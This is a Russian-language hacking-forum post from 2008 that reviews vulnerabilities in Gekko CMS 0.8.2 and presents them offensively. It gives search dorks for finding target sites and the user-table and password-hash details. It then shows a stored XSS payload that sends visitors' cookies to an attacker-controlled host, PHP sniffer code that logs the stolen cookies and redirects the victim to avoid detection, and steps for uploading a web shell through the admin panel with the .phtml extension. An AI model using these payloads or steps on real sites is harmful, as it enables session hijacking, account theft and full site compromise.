PDA

Просмотр полной версии : [ Обзор уязвимостей Gekko CMS ]


Grey
03.02.2008, 20:09
Gekko CMS

gekko-portal-0.8.2

[Общая информация]

Офф сайт: http://www.gekkoware.ru/
Для поиска сайтов с такой цмс вводим: "Powered by Gekko" или "© 2008 example.org"
Стандартный префикс для таблиц: gekkocms_
Таблица с пользователями: user
Колонки с данными для авторизации: username и password
Пароль хешируется, алгоритм хеширования: md5($username.$password)

[Активная XSS]

Из-за недостаточной фильтрации (фильтрация хоть и есть, но еще сырая) можно в разрешенные теги вписать скрипт.

Проверял на форуме при создание/ответе на тему содержание поста - код скрипта:

<a href="javascript:alert(document.cookie);">text</a> - таким образом при нажатии на ссылку выполнится код (в данном случае алерт)

Одинарные кавычки фильтруются (ровно как и двойные (кстати постить нужно именно в них)), но это легко обойти:

Кодируем alert('xss'); -> (кодируем) -> alert('xss');

Получаем:

<a href="javascript:alert('xss');">text</a>

Алерт алертом, но лучше стырить куки.
Можно сделать к примеру что бы при нажатии на ссылку пользователь переходил на снифер и оставлял там куки:

document.location.replace('http://test2/q.php?q='+document.cookie); -> (кодируем) -> document.location.replace('http://test2/q.php?q='+document.cookie);

Получаем:

<a href="javascript:document.location.replace('http://test2/q.php?q='+document.cookie);">text</a>

По адресу http://test2/q.php?q= должен лежать наш снифер, который будет отлавливать куки:

<?php

$file = fopen('log.txt','a');
fputs($file, $_GET['q']."\r\n");
fclose($file);

?>

Что бы меньше палиться можно поставить редирет на какой нидь сайт:

<?php

$file = fopen('log.txt','a');
fputs($file, $_GET['q']."\r\n");
fclose($file);

header("Location: http://ya.ru");

?>

Таким образом пользователь при переходе по ссылке попадет на снифер, оставит там свои куки и будет перемещен на какой нидь сайт.

К сожалению в куках лежит индетификатор сессии, а это значит что пользоваться этими куками мы сможет пока пользователь не выйдет с сайта (т.е. его куки не будут удалены).
Но с другой стороны что бы попасть в админку вводить пароль не требуется, а это нам на руку.

====================================

Для кодирования вашего скрипта используйте сайт: http://ha.ckers.org/xss.html

Так же советую прочитать статью: Темная сторона Xss (http://forum.antichat.ru/threadnav42326-1-10.html) - вней вы найдете други способы использования xss.

[Заливка шелла]

Если вы успешно пробрались в админку, то залить шелл уже не проблема:

В админке переходим в 'Файлы' и заливаем файл, единственное но это то что расширение файла не может быть .php, но это уже не так страшно, подойжут любые из расширений: php3, phtml вообщем не важно какое главное что бы у аппача оно ассоциировалось с php.

Все шелл будет доступен по адресу:

http://site.ru/data/files/shell.phtml

(с) Grey